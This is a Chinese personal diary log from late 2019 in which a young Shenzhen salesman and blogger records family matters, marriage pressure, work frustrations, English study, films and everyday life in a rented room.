大学同学 LGL 找我剪辑电视剧，我说只会基础拼接。她说我：「百事通，虽然不太精通。」接着画风一转：「有对象了没？这么好（优秀）的人。有个问题我感觉不科学，你说你这么能吹又这么热心，怎么会单身到现在呢？你应该要反思哈到底哪里出问题了。」
我现在的想法是：没有恋人的束缚，想干什么都自由，不用考虑她和我的将来。而且以我目前的收入还养不起女友。家里人又限制我找外地的。所以：但行好事，莫问前程，随缘吧。
12:50钟哥，中秋佳节快到了，咱们公司给您那备了一份薄礼，收货地址方便提供下嘛？by 至潮箱包 ZC
故乡的板栗真香。
20:30《美国工厂》（American Factory，2019）观影完毕。
00:552019-09-05
父亲居然学会发微信语音消息了：「狗仔，阿爸下去（深圳）过中秋。」
21:122019-09-06
15 年未见的小学女同学 ZLJ 结婚了，￥200 份子钱，以表心意。
07:35今天参加了 阿里巴巴国际站 的新手培训：《快速基础建站：关键词 & 产品发布 & 国际站流量打造》。讲师浅尝辄止，教室拥挤不堪，和它们的沟通工具一样，用户体验极差。
20:10睡眠舱（代指我租的房子）的小蟑螂越来越多了，会不会是因为我做的饭菜太好吃了。
23:442019-09-07
3 年前，ZWP 结婚，ZQJ 让 ZWP 住进了几年前买的小产权二居室，并且购置了小轿车。现在 ZYT 深陷离婚风波，带着小孩 BCX 暂居在 ZWP 的家里，所以 ZWP 的家里有 2 个 3 岁小孩。
小孩玩到疯癫时，少不了拳脚相见。这个时候，其实很难判定谁对谁错。ZWP 认为谁先动手就是谁的错，ZYT 认为两个小孩没有绝对的对错之分。
于是 2 人在教育小孩的问题上起了争执。情急之下，ZWP 居然提出让 ZYT 立即搬出去（才住了一周左右）。ZYT 落泪道：「这个房子不是你买的，是我们买的，请你说话放尊重点！」
之前我也在 ZWP 家住了不少时间，在他身上我看到了越来越膨胀的「大男子主义」，但吃人手短，只好在博客上写了一篇「人物志」平息一下内心的不满。现在自己住，自由快活得很。
公众号周更完毕，睡觉。
02:302019-09-08
帮 ZYT 搬家，东西真的好多。
11:57刚才午休，梦见冰箱突然多了很多猪肉（我的冰箱现在只有冰块）。
16:512019-09-09
昨晚（从 21:00 到 00:22）帮助一位上海的双鱼座网友 Grace 翻越 GFW ，但卡在注册账号上。应该点击 Register（新用户注册入口）而不是 Login（老用户登录入口），我的英语真是太烂了。
13:12明天中午，我将在办公室吃自己做的便当 （第一次自己做，以前都是别人做好了，或者回到睡眠舱吃）。
23:062019-09-10
感谢 Google 这位老师，带我寻找这个世界的答案。
22:15父亲要下深圳过中秋，为了让子女们吃上家乡菜，这么晚还在制作「香菇肉丸」。不知为何，突然有一种想哭的冲动。
23:032019-09-11
每次看到锋利的刀口，心里都会咯噔一下。
靠谱的人：凡事有交代，件件有着落，事事有回音。
2019-09-12
公交车上听英语入迷了，所以错过站。
08:25公司居然把送不出的月饼当作员工的节日贺礼。最恶心的是，抓阄抽月饼：一号是高档月饼，二号是中档月饼，三号是低档月饼。掌权者可知，不患寡而患不均。
18:30父亲又带了一个后尾箱的家乡特产下来，意味着我们半个月都不用买荤菜了。
初二外甥 CFD 也过来了，执意要看《大侦探皮卡丘》（Pokémon Detective Pikachu，2019），豆瓣评分 6.6。没看之前我就警告外甥这是一部催眠动画片，果真，他睡着了。
2019-09-13
外甥 CFD 连控球都不稳，净学那些花里胡山的东西，而且投篮命中率也不高。初中生，少不了显摆。
中午家人齐聚一堂（7 个大人，5 个小孩），丰盛的饭菜，喧闹的顽童。因为父亲的到来，整个房子充满了家的味道。
13:33童心未泯，和外甥 CFD 联机玩「我的世界」到这个点。
03:262019-09-14
烧烤吃完了，喝了一些酒，头脑有些热，独自一人走回睡眠舱。
01:172019-09-15
从 2019 年 9 月 1 日开始，我会把每周一集《海贼王》（One Piece）看 2 遍：
- 第一遍看剧情（日语配音 + 中文字幕）：20 分钟
- 第二遍学英语（日语配音 + 英文字幕）：200 分钟
我相信，兴趣是最好的老师。
15:00PS 跟我说想把电源卖到国外去，我负责外语沟通和网站建设。所以我得加快把英语学好。
23:432019-09-16
人生而自由，却又无往不在枷锁之中。by 让-雅克·卢梭（Jean-Jacques Rousseau）
欢乐苦短，忧愁实多。by 司空图
最便宜的自我修炼是阅读；最容易产生心流体验的娱乐是写作。by 阳志平
写了 2 年博客，今天获得了第一笔收入：$16.07
小钟钟，祝贺你。这就像我们以前给报社投稿被录用一样。是一个了不起的成就。啥时候过来玩你阿姨给你包饺子吃。by DHF
2019-09-17
睡眠舱附近的电信线路检修，所以今晚没有 Wi-Fi，于是偷闲看了《孟买酒店》（Hotel Mumbai，2018），四颗星。
22:44eBay 居然出单了，挣了 8 块多。
23:282019-09-18
重新对翻墙教程润色了一遍，隐藏一些敏感词。网警叔叔，我愿意再去派出所 Yum Cha，但请不要封我的博客。求你了，我在这个博客花了很多心思。
02:432019-09-19
ZYT 交了押金，跟我同租一栋楼，带着她的 3 岁女儿 BCX。
21:112019-09-20
今晚视频通话的时候，爸妈第一次一起把催婚这件事摆在台面上：时光催人老，不要以为自己 25 岁还年轻，一年很快过去的，而且年龄越大，越难找老婆。深圳的房子（小产权）几年前备好了，结婚如果要车子，首付我们搞定。儿子，看到钟意的女孩，抓住机会，勇敢去爱。
对儿媳，二老的期待是：
- 广东省内
- 受过高等教育
- 心地善良朴实
我安慰 Ta 们说，每天都有姑娘加我微信，请二老放心。
22:212019-09-21
2016 年 10 月 9 日，我花了一周时间写下这篇长文，非常开心地登上了即刻 App 的 Banner 置顶热评（那时没有话题精选）。
2019 年 7 月 12 日，即刻 App 遭遇「技术升级」，即刻难民四处「流亡」。
2019 年 8 月 10 日，黄（Yellow）即（J）搭建了一个临时的避难所：Jellow。庆幸数据都在，但功能扔在完善中。
睡眠舱的一个月 ￥80 的电信宽带只有 20 Mb/s（2.5 MB/s）
ZYF 给孩子的戒奶偏方是在 Nipples 上擦万金油。孩子一闻到辣味，还没喝，就躲得远远的。
00:002019-09-22
ZYT 今晚买了 6 个橘子和 6 个苹果，正式入住。希望单亲妈妈 ZYT 开工大吉，BCX 健健康康，平平安安。我以后可以去蹭饭吃了。
23:402019-09-23
一更新翻墙教程就停不下来，总觉得自己写得不够通俗易懂。
01:30一口气把有钱人「朱一旦」的视频看完了，所以今晚的推文又没发。Loser 的生活总是那么狼狈且枯燥。
23:492019-09-24
6 月份开始学做菜。一直吃米饭的我，准备在面食领域大显身手。于是在 8 月 13 日买了 5 kg 中筋面粉，但是到现在都还没打开包装。
00:462019-09-25
今天骑了 ZYT 的小电驴来上班，第一次没有坐公交和地铁。
08:18一位上海的读者说：「你建个人（网）站干嘛？征婚吗？」她应该是看到了博客简介中的这句话：「I am single and available.」
13:44我可能是全球第一个每周看 2 遍《海贼王》的铁杆怪胎：
第一遍是中文字幕（日语配音），耗时 15 分钟；
第二遍是英文字幕（日语配音），耗时 2 至 3 个小时，因为每隔几秒钟就要停下来做生词笔记。
00:192019-09-26
工作没有激情，人生没有盼头，睡眠严重不足，国庆到底去哪？
01:242019-09-27
一位德国客户找我们定做 200.000 PCS 的货，但是我却陷入了沉思：到底是 200 个还是 20 0000 个？
2019-09-28
这几天过度熬夜，导致喉咙痛，咳痰，流鼻涕，头疼……生病的时候到了。
08:02今晚早点休息，养好精神，给祖国庆生。
23:152019-09-29
虽然身为 365 线设计师，但是今天收到了人生的第一笔美工外块：￥99.99。感谢甲方 WYT。
10:41收到读者 ZX 的电子锦旗：
赠「宝藏男孩」钟伟庭
乐于助人，见多识广
感谢人：张雪
二零一九年二十九日17:20庭说的微信公众号的关注人数终于突破 300 人了。
2019-09-30
坐 HZY 的车回故乡，真幸福。
18:122019-10
2019-10-01
突然一阵腰疼。
12:00ZYT 的女儿 BCX 因为胃溃疡吐了不少血，这孩子伴随着病痛长大，苦了 Ta 的妈咪了。
00:432019-10-02
在家真幸福，吃得好，睡得香。
23::16因为上午对有籽的青椒动刀子了，我的双手到现在还是火辣辣的。
23:25看了两集《某科学的超电磁炮》，我会不会变得更宅更变态。
00:412019-10-03
善解人意的外甥女 HML 回家去了，临行前一定要我这个小舅送她。
15:44遵循自己坚信的正义，采取正确的行动。by 《某科学的超电磁炮》
时代洪流浩浩荡荡，愿你保持内心的朴素善良，有清澈的眼睛。by 土逗公社
2019-10-04
刚贴的新的钢化膜，就被摔碎了，幸好只是音量键失灵了。
17:182019-10-05
老爸的厨艺，是家人们的粘合剂。
20:352019-10-06
开始返深。
09:08到达水泥森林。
17:222019-10-07
我喜欢把裤脚挽起来，不管在城市还是农村。
2019-10-08
家境贫寒，只能买最便宜的纯牛奶（￥2 / 250 mL）。
2019-10-09
虽然「睡眠舱」的空间很局促，但还是「斥巨资」买了一个瑜伽垫。低头一看，腹肌若隐若现。
ZYF 一肚子苦水无人诉说，跟我聊了 80 分钟。说到底，一切困扰都是因为钱的问题。要是我会挣钱，就可以解 ZYF 的燃眉之急了。恨自己无能，空有抱负，止步不前。
01:322019-10-10
做了一个手抓饼，加煎蛋和番茄酱，味道还不错。
骑了一段时间别人的电动摩托车（时速最高 45 km），完全不想买符合新国标的电动自行车（时速最高不能超过 25 km）。因为太慢了，我可是爆裂车手。
ZY：「哦，那我套用一下陈百祥对周星驰说的台词”本人对大人的敬仰犹如滔滔江水，延绵不绝”哈哈！我是绝对的敬仰，不是拍马屁哦」
10:43给域名 tingtalk.me 续了一年费（$13.15 USD），顺便把它从 Godaddy 转移到 NameSilo。
2019-10-11
我会不会变成庸俗而富有的中年人。
08:25花了 ￥149 买了一个行军床 / 折叠床放在办公室，以此提高我的午休质量。
12:48重新整理了微信通讯录的 Tags（标签）。要是我的微信号被封，真的是非常恐怖的事情。
00:462019-10-12
点开一部花了一个晚上才下载好的电影，再加一瓶纯牛奶，一节甘蔗尾巴，一个装渣子的脸盆。一个人的周末往往就是这么朴实无华且枯燥。
20:15《哪吒之魔童降世》（Ne Zha，2019）：感动到差点落泪，沙子里进眼睛了。对了，好喜欢结界兽。
23:012019-10-13
做包子的教程看了好几遍，却还是不会捏包子。
好久没运动，打一会篮球 🏀 就虚脱。
胃口不好，拉了一天肚子。
《罗小黑战记》（The Legend of Luo Xiaohei，2011）是国漫之光。
2019-10-14
- 原本「考试」（客体）是为了检测「知识」（主体）掌握情况，后来人为了考试而去钻研如何考试。
- 原本「钱」是为了「物品」的流通和交换，后来人不惜消耗自己的健康和生命去赚取更多的钱，再把赚到的钱作为数字（可能到死都）囤在账户里。
- 原本「道德」是为了让「人」在公共领域里变得更向好，后来道德变成网络权利，人为了“维护道德”肆意辱骂和羞辱别人。
- 原本「知识」是为了让人更清楚地了解世界，用知识来更好地指导生活，知识付费下的如今，人们仅仅为了有“获取知识感”而“获取”知识。
by 《好奇心研究所》
按照「嘀嗒出行」的平台规则，跨城顺风车的高速费由车主承担，因为「在城际订单中，乘客支付的车费已经包含高速费用，不需要额外支付此费用给车主」。
但是第一次在「嘀嗒出行」上预约顺风车，接单的车主说：「不付高速费（￥60），当我是雷锋？！」。无奈之下，我把「雷锋」举报了。
切换到「哈罗出行」，付费规则一致。我问是否需要另付高速费，车主答道：「哥，你第一坐拼车吗？」，等了 2 个钟，他也没有正面回答我，只好主动取消订单。
第三次，「嘀嗒出行」的车主接单了，这次是 ￥15 元的高速费，我拿出平台规则，他只好作罢，不过也许是因为车主离我只有一个小区的距离。
呜呼哀哉，没钱人的生活就是这么鸡零狗碎且枯燥。
20:51如果有一天，你不再寻找爱情，只是去爱；你不再渴望成功，只是去做；你不再追求成长，只是去修；那么，一切才真正开始。by 符然雅
2019-10-15
出发，前往第 126 届秋季广交会。
08:00最大的收获是给不认识的外国友人拍了一些照片。
17:09顺风车司机花了 1 个钟才接到我，最奔溃的一次叫车之旅。
脚跟又被「小米运动鞋 2 代」磨破了。
19:45给母亲 ZFX 买了一份「小米综合意外险」：保费 ￥169，保额 50 万。
2019-10-16
生活过得乱糟糟，想做很多事情，却不知道如何下手。
2019-10-17
小孩谁带？父母带不放心，老一辈的育儿方法与观念已跟不上时代的脚步。自己带，怎么挣钱养家？
看到发生在身边的这些事，我收回寻找 Soulmate 的脚步。00:422019-10-18
现在已经是太空时代了，人们可以登上月球，却永远无法探索人们内心的宇宙。by 《大佛普拉斯》（The Great Buddha +，2017）
2019-10-19
新创举办的「卓越供应商课程：业务技能提升训练营」很用心。
《罗小黑战记》（大电影，The Legend of Hei，2019）五颗星。
2019-10-20
想看《航海王：狂热行动》（One Piece: Stampede，2019），但是最近的影院只卖情侣座。太欺负人了！转战到另外一家更远的电影院，穿着我的海贼王 T 恤。
09:30LS 开车接我去找 40 公里外的 ZZL 玩，说走就走，非常开心。
23:382019-10-21
居然接到 John 的电话，我们聊了大概 40 分钟：工作、兴趣、生活都有涉及。现如今我还没有资格加入 Jhon 的团队，他的建议是每周一篇英文周记。
15:062019-10-22
世界上有这么一种人：为了少洗几个锅碗瓢盆，把「电压力锅」当「电磁炉」用。
2019-10-23
最近在追剧，太颓废了。
00:502019-10-24
终于看完了《某科学的超电磁炮》（とある科学の超電磁砲，To Aru Kagaku no Railgun / A Certain Scientific Railgun），接下来要好好学习。
23:44在中国，可以做爱，但是不许了解做爱。
2019-10-25
每天都不得不想着挣钱，好烦呀。
01:36天色已晚，博客修复工作，暂且告一段落。
02:47昨晚 4 点多起来开空调了（这样就可以躲在被子里），因为太多蚊子了。
2019-10-26
坐 2 个钟的公交从宝安区到龙华区，明天带 ZFX（50 岁）去体检机构检查身体。
2019-10-27
站在分外拥挤的公交车，想要买一台代步小轿车。
19:30账算那么清，算什么亲人。善待身边的人，因为每个人只能陪你走一段路。
22:482019-10-28
如果天总也不亮，那就摸黑过生活；如果发出声音是危险的，那就保持沉默；如果自觉无力发光，那就别去照亮别人。但是，不要习惯了黑暗就为黑暗辩护；不要为自己的苟且而得意洋洋；不要嘲讽那些比自己更勇敢、更有热量的人们。可以卑微如尘土，不可扭曲如蛆虫。by 季业
又一次研究科学上网到这么晚。
02:072019-10-29
我失去了无所事事的权利，各种窘境推着我去获取金钱。
01:032019-10-30
买了蚊香几个月却一直没用，因为没有打火机。可是最近蚊子太猖獗了，走，下楼买打火机，弄死它们。
23:35正在改进博客的分类和标签。
01:582019-10-31
日子过得很堕落，堕落忘记写日志。
2019-11
2019-11-01
这个周末，我一定要把博客安顿好，然后心无旁骛地去挣压岁钱。
00:32眼睛疼，睡觉先。
02:312019-11-02
博客的整理工作完毕，分类更加合理，并且新增了标签（tags）。
15:342019-11-03
脑卒中
- 卒（cù）：通「猝」，突然的意思。
- 中（zhòng）：中风，与「中毒」同音。
- 风：借风比喻善动不居、轻扬开泄。
- 脑卒中：大脑突然中风。
- 预防方法之一：少熬夜，多运动。
Hexo 升级至 4.0.0，NexT 升级至 7.5.0。
11:28听说香港有一种饼干很好吃，名叫「珍妮曲奇聪明小熊饼干 by Jenny Bakery」，挺贵，还限购（提供身份证）！在好奇心的驱使下，我花了 1 个半钟，大概理清了山寨品牌、商标抢注、上海实体店、京东 / 天猫旗舰店等信息。对于这个 13 年的老店，It is a long story。
01:532019-11-04
上班时间只做挣钱相关的事情，下班之后再做兴趣相关的事情。
08:19心烦意乱，对工作的非常抵触。
腰酸了几天，因为纵欲过度，还是打篮球太猛？
23:112019-11-05
所谓的真爱，无非是一个人愿意把自己最宝贵的、最不可替代的资源无限浪费在对方身上。时间不仅是稀缺资源，更是「短缺的、有机会成本的、不可或缺、不可替代」、且「自动持续消耗」的资源。by 《挤挤都会有的 - 写给女生的性高潮指南》
天黑下班，戴上头盔和散装蓝牙耳机，骑着小绵羊（别人的电动摩托车），以（最高）时速 45 km 穿梭在城市的边缘。音乐响起，我就是 MV 里的男主角，秋风为我欢呼，引擎为我呐喊。毫无疑问，这是我一天中最放松的时刻。
20 分钟过后，我将回到 4 km 外的城中村篮球场，以磨练了 7 年的跳投技术一次次地带领球队走向冷板凳。十分肯定，这是我一天中最激烈的状态。
45 分钟过后，湿哒哒的我来到「睡眠舱」楼下的菜市场，思索煮什么菜才能骗到朋友圈的赞。There no doubt that 这是我一天中最纠结的 Moment。
19:332019-11-06
五花肉不能放进微波炉，因为会被炸出来。
花了 ￥20 买了料神的出单课（盗版）。
15:002019-11-07
门窗一关，蚊香一点。下班回到 Apartment，应该可以看到地板上躺满了蚊子的尸体。
08:07又卡鱼刺了，幸好这次被我扣出来了。所以吃鱼的时候，不能看视频。
12:28MIUI 11 真的很棒：字体好看，音效动听。
最近身子被很多蚊子馋上了。
早上临时起意，点了一盘蚊香，并关好了门窗，若有所成地上班去了。
晚上回到家，蚊子们见到「奶爸」，像往常一样，若无其事在「睡眠舱」追逐打闹。
身为慈父，我没有打 Ta 们屁股，而是打开购物 App，给这桶「超威艾草蚊香」申请了售后，理由是「商品故障」。
20:26几分钟过来，客服来电话了：您是我们京东的优质老客户，我这边立刻给您申请退款，您这边无需任何操作（即无需退货）。2 年前我给外婆买了一个电子闹钟，但是可视角度太窄（只能正面看），也是直接退款，无需退货。
难道这就是你分手的借口。如果让你重新来过你会不会爱我，爱情让人拥有快乐也会带来折磨。by 《爱河 - 蒋雪儿》
2019-11-08
定制 100 个布料腰包，一个山东的客户嫌我的价格高，一想到这个小单的提成只够买我一斤多猪肉。于是，懒得谈判的我，直接告诉客户我们是中间商，并给了 Ta 们工厂的联系方式和成本价。当我以为这单要黄的时候，Ta 们还是选择我的服务：「 我看你们设计的效果图挺好挺专业的，就选择了你们家。我都忘记你就 Tim。就看见你头像 TT，感觉你很细腻 ，想得很周全，干业务的一把手（其实一直拿底薪） ；Tim 不是太妹么？」
我对物质的要求越来越低了。物品，能用就行；食品，能吃就行。
00:262019-11-09
因为混得不好，很少主动打电话给父亲，而父亲大概一个月打一次电话给我。我最大的压力之一，就是来自父母的期待，Ta 们辛辛苦苦供我读书到大学，而我却没有成为 Ta 们眼中的骄子。因为我贪玩，什么都想尝试一下，于是什么都一事无成。希望 2020 年可以走上正轨，并且依父母之愿谈个女朋友。哪个少年不钟情，哪个少女不怀春。
00:492019-11-10
语言的发展中有个规律叫「词义弱化」，说的是我们用的词，尤其是褒义的形容词，大多都会随着时间的推移和使用频次的增加，内涵变得越来越弱。比如现在的美女已经不足以称赞一个姑娘美了，美女 2.0 的「女神」也在遭遇一轮语言届的通货膨胀后，迅速迭代成「仙女」。商业社会的语境下，最高级的词意味着最能吸引用户的注意力，你会发现，美女和丑女之间的那部分人，被架空了，你很难找到一个合适的词来描述这一部分人的样貌。by《好奇心日报 - 王朝靖》
父亲让 85 岁高龄的外婆保重身体，才有福气看我带媳妇回去看她。
19:432019-11-11
右手长时间握着鼠标，酸，出去透透气。
16:52《瑞克和莫蒂》（英语：Rick and Morty；播出时间：2013 年 12 月 2 日至今）真的好好看，还可以当英文学习素材。
01:002019-11-12
有一位美国客户（男）砍价砍了我足足一个月（至今未成交），今天跟我说：「I'm only continuing this order with you because I like you…」。
16:232019-11-13
工作完全没有激情怎么办？
我是一个偏执的人，一个活在内心深处的人，一个世俗意义上失败的人。
21:172019-11-14
午休被鬼压床了。
13:44优剪的理发师 Kevin 夸我的笑容让人很舒服，很少人有这种笑容。那么问题来了，是职业奉承（回头客关系到工资），还是真心诚意？
19:03深圳市「公共租赁住房」目前实时排名第 212279 位，其中单身公寓（35 ㎡）排第 91720 位，一房一厅（35 ㎡）排第 123859 位。深户获得时间：2017 年 7 月 24 日。
LS 再赐予我一个称号：「知心姐妹」。
23:512019-11-15
办公室搬到隔壁的小黑屋（白天都需要开灯），不能靠窗晒太阳，真是悲伤。
第三者 ZH 的插入，ZYX 难道真的要离婚了？
20:222019-11-16
父亲从河源老家带了很多特产下来：狗肉、甲鱼、排骨、腊肉、青菜、油豆腐、鸡蛋、大米……姐弟们齐聚一堂，一转眼菜就被吃完了。
2019-11-17
父亲经常坐同一辆大巴车下深圳，在与售票员的攀谈之中，顺便不忘给我牵红线。从中得知，父亲对儿媳妇的最低学历要求的是中专，才配得上我这个本科生。其实，学历真的一点都不重要，心地善良，相信科学，就可以了。
YQ 新婚快乐。
16:39学习《Google Ads》中。
00:102019-11-18
收藏从未停止，学习从未开始。
旁边坐了一个新来的女同事（ZMT），来自湖北孝感。
17:22看完《小丑》（Joker，2019）之后，让我不想再「扮演」那个大家心目中的「阳光男孩」。
23:00- 是只有我，还是这个世界越来越疯狂了？
Is it just me, or is it getting crazier out there? - 在我还是小孩就学的时候，我妈妈总是跟我说：「你必须好好读书，有一天你得为生活工作」。「不！我不要，妈，我要做一个喜剧演员。」
School, as a kid, my mother would say, "You should enjoy it. One day you’ll have to work for a living." " No, I won’t, ma. I’m going to me a comedian." - 我妈总跟我说别忘了笑，我一定要笑， 她说我有个使命，要为这个世界带来欢乐。
My mother always tells me to smile and put on a happy face. She told me I had a purpose: to bring laughter and joy to the world.
2019-11-19
冬天的感觉来了。
8:53没心思谈对象，所以衣服凑合着穿。2 条裤子交替穿了 2 年，现在终于到了说离别的时候：裤子接二连三地在膝盖处破了。
18:49投递了一些简历，逼自己走出舒适区。
00:122019-11-20
社会凶险 擦亮眼睛：我的 Daddy 向我索要了 2 张「照骗」，准备去「骗」一些儿媳妇回来。
18:52要想身体好，常洗冷水澡。
00:28要想睡得好，被芯不能少。
01:072019-11-21
你不会找到路，除非你敢于迷路。
2019-11-22
CSQ 报了 2 万多编程全日制培训班，转行写代码，比我有勇气多了。
22:182019-11-23
又被 LS 带出来玩，这次是广东麻将，首胜，然后开始一路狂输，最终输了 62 人名币（底注 2 RMB）。所以，需要用到逻辑的棋牌游戏我都不在行。
23:532019-11-24
小舅：你（4 岁）把你哥打哭了几次？
外甥：才 6 次！
小舅：你哥（9 岁）把你打哭了几次？
外甥：10 万次！我现在终于感觉到腰疼是什么滋味了，人生第一次直不起腰，只能像老爷爷一样弯着腰走路。
01:062019-11-25
最近帮朋友们重装了 3 台 Windows 电脑，总结如下：
- 浏览器打开 tingtalk.me/windows
- 按照教程，下载，安装，调试
- 不出半小时，一台纯净快速的电脑就诞生了
这就是有一个博客的好处。
01:262019-11-26
父亲让我别自己出来租房子住，搬到他买的小产权房里（方便找老婆）。我婉拒了，因为一旦住进去，仿佛接了一个任务，心里有疙瘩。我连自己都没有打理好，怎么会忍心「辣手摧花」呢？
01:412019-11-27
忘记带 Packed Lunch 了。
中午去 3 km 外的工商银行营业厅办理了 U 盾，所以没睡，因此下午崩溃。
13:592019-11-28
执行力太差了，我就是个烂人。不过，追剧真爽。
00:542019-11-29
Winter is coming. The speed of motorcycle is limited.
07:52《双子杀手》（Gemini Man，2019）的动作戏很出彩。
01:382019-11-30
出发，前往揭阳，参加大学同学 CHQ 的婚礼，恭喜 CHQ 结束了爱情「长跑」。
07:35有钱人的婚礼一切都安排得明明白白的。祝 CHQ 小两口的日子像童话般美好。
01:35玩德州扑克，输了 39 RMB（底注 1 RMB）。
00:552019-12
2019-12-01
须知参差多态，乃是幸福的本源。（Diversity is essential to happiness.）by 罗素（Russell）
返程回深圳。
13:55终于把微信上的文章「清空」完毕。
23:15终于回到 Apartment 了。
23:552019-12-02
今天开始洗热水，开始戒除熬夜洗澡的作风。
20:302019-12-03
少有的午休做噩梦：傍山险路坍塌，我被撞飞了。
13:41经常偷袭我 Dick 的同事 CS 把老板娘炒了。我得加快找新工作的步伐了。
18:162019-12-04
96 天后 5 岁的外甥 PY 跟我说：到了我这个年纪，每个男孩都会喜欢上奥特曼（Ultraman）。那个 Moment，时间仿佛暂停了几秒钟，因为我想起了童年时代去邻居家看碟的日子。
12:52It is a pleasure to work with you. I have much words to thank you. But my English is not that good. (I improve my English every day.) So all I want to say in a word is THANK YOU! by Tim
Please do not worry about your English... it is very good, and certainly a million times better than my Chinese! by Rich
14:152019-12-05
楼下举办了夜市，花了 40 RMB 吃了卷饼，鸡腿包饭，烤串。索然无味，还是老爸做的烤鸡腿好吃。
19:082019-12-06
学了 GTD，还是长戚戚。I suck.
2019-12-07
昨晚梦见我的宿舍被拆了，梦里好慌，醒来好累，那种无力感。
07:39电动摩托车的后刹被人蹭坏了，花了 ￥25 换了一个。
2019-12-08
每天早上都是七点多醒来，因为要拉臭臭，所以周末我也睡不了懒觉。
Telegram（电报）账号可以同时登录 Android，iPhone，Windows 和 Web 等客户端，而且聊天记录实时同步，更酷的是，不用每次登录都要扫码验证。这不就是最佳的跨设备「文件传输助手」吗？AWSL。
在温暖的午后，我骑着「小毛驴」，暖风熏得我陶醉。心里好满，活着真好。
13:28今晚去 KTV 唱了歌，释放了，就是破音严重。这辈子无缘当个歌星了？
22:132019-12-09
喝了一瓶多啤酒，现在脑壳疼。
00:02帮 ZWP 的财务管理公司在阿里云买好了服务器和续命（szyccaiwu.com）。
重新梳理的一遍博客的分类和标签，并对其进行了精简。
02:112019-12-10
注册公司的时候可能会被抽查到「办公地点」，于是就得办理「场地证明」。
重疾险第三年续费 ￥5490。
2019-12-11
李宗盛的《山丘》是我最常哼的歌，特别是车速达到 45 km/h 的时候。
BSCI 验厂，被迫在流水线充当小工。
15:07好困，先睡半个钟再奋斗。
21:30双 11 没网购，双 12 躲不过。
01:022019-12-12
昨晚做了这么多煲仔饭，今天忘记带到公司来了。
08:362019-12-13
作为法人，代注册了一家公司，今天营业执照过来了。
11:05父亲从老家带了一车的特产看望深圳的孙女。
在 Telegram 本地网友的引导下，我下载了「探探」App。
5 年前三千多买的笔记本电脑太卡了，我一定要努力挣钱换一个好的。
22:472019-12-14
右边屁股疼了几天了，还不见好，真是见鬼了。
15:38父亲从老家带下来的
- 南瓜饼（自产）：配蜂蜜
- 火龙果（自产）：有水果味
- 鸭子（自产）：超好吃
- 牛嘴（外购）：弹牙
- 狗肉（偷的）：配油麦菜
- 各色青菜（自产）：有青菜味
随着城镇化，这些乡村特产将会慢慢消失。
2019-12-15
唱歌总是破音，明天好好请教一下 VBS 声音平衡系统。
01:20今天洗澡的背景音不是英文播客，而且豆瓣FM 中的星标音乐，于是我在浴室里旋转，跳跃，不停歇，就像电影《小丑》中的亚瑟在公寓穿着裤衩翩翩起舞一样。在我这个年纪，除了没钱，没有烦恼，真好。
22:052019-12-16
终于找到了一个「马力全开」的迅雷版本，正在全速下载《爱尔兰人》中。
01:242019-12-17
卸载「探探」App。
12:232019-12-18
和 ZYT 对话失败，为了钱，Ta 是铁了心要加入「传销」组织。随 Ta 吧，撞了墙才会回头。但愿不会危及到 Ta 的生命安全。
00:30酒劲消了，B 站的未看的视频也刷完了，梦里的女孩，我来了。
02:30与蚊共舞，我失眠了。
03:16何以入眠，唯有 Handjob。
03:592019-12-19
一天又过去了。重复的生活，会让我丢失对时间的感知，陷入一种虚空的状态。
18:372019-12-20
不能偷懒，抓紧学英语。
08:07把 WZH 相关的心情从 Whisper 中剥离，Ta 值得我「开篇立户」。
08:13记者采访一个小偷，问他为什么干这行，本来以为他会说生活所迫之类的，结果小偷说：「人生就像一场电影，有的人演警察，有的人演小偷，总要有人演小偷。」
愿你被世界温柔以待。总有人要做那个「世界」，为什么不能是我呢？by 非著名流浪诗人庭勃士
删除博客中的「I am single and available.」
2019-12-21
周六要上班，就像生孩子要带套，抗拒！
08:04我拒绝了七年级学妹，八年级同学，九年级学姐的表白。by 不折不扣的不恋主义者 CFD
2019-12-22
爸妈的南瓜饼因为没有放进急冻室，现在发霉了。罪过罪过。
08:05冬至是一年中黑夜最长的一天，所以我们要吃「肠」粉庆祝：我们刚刚度过了最漫长的黑夜，迎来曙光。
08:36陪外甥女 BCX 出来游玩，她长得太快了，不管是体重，个性还是表达能力。
2019-12-23
意乱情迷，破天荒地上错公车了。
08:02听英语，又错过一辆「公车」。
08:21世界是不完美的，做一个愤青会失去理智。少一些抱怨，多一些实干。
08:432019-12-24
你敢信我最近遇到的网友比如你都是好棒的人。
第三天我来到一个人很少的海边便利店，吃了早饭在那研究怎么扔垃圾，其实店员看了我好久，我扔完垃圾就听她笑着对我说谢谢，还双手举过头顶比爱心，都已经是（韩国）中年欧尼了。by Lucky
2019-12-25
2020，你敢活得更真实吗？
真实的梦想是一部动作片，而不是剧情片。成功面前人们都说，你的梦想是妄想。管他呢，干就对了。
如果只盯住结果，你多半会错过「成长」。坚持「长」，不妄求「成」。享受「长」的乐趣，管它「成」不成。普通人的努力，在长期主义的复利下，会积累成奇迹，会让你长成闪亮的自己。
一千个人有一千种真实，内心深处认为对的，就是属于你的真实。敢于真实做自己，敢于和时间做朋友。2020，敢于坚持到底，敢于直面向上的野心，敢于让天赋闪亮，放胆来做时间的朋友，终将获得你想要的生活。by 《得到 - 时间的朋友》
请假一天：开户。
19:462019-12-26
「庭说」的公众号迎来第 400 位关注者。
00:20我目前的挣钱能力非常差。对「商业社会，利益至上」有点抵触。我学了很多东西，我也知道可以通过它获取利益，但会丧失良知，或者不能解决社会问题。也许有那么一天，我也会变成庸俗而富有的中年人。
我还没有找到积累原始资本的方法。但是我坚信：慢慢来，路总会出来。只是苦了我身边的人，读了那么多年书，却不能给 Ta 们在经济上提供帮助。
08:17大家都在苛求成功，我没有野心，可不可以不成功。
08:32出门游玩的时候不要发朋友圈，因为这样会打断欣赏美景的心流：你会焦急地等待朋友圈有没有人回复，而忽略眼前的人，事，景。
09:37午休，我被「鬼」牙床了。
13:452019-12-27
平时多倾听，表达欲发泄在博客就好了。
00:28体验了一下「叮咚买菜」，还不错。
难得的周五放松时间：瓜子配电影《爱尔兰人》。
2019-12-28
上午写博客，下午学翻墙。
我是个练武之人，遇到不公义的事情，我一定要站出来，这就是我们学武术的初心。by 《叶问 4：完结篇》（Ip Man 4: The Finale，2019）
明天是周日，我得好好利用起来。按照 To Do，完成 List。
2019-12-29
昨天晚上把你的博客，刷了一个遍，看得有点小鼻酸。你那篇关于我的文章，让我几乎看到了自己。by 庭说博客读者
去打篮球。
15:13下雨了。
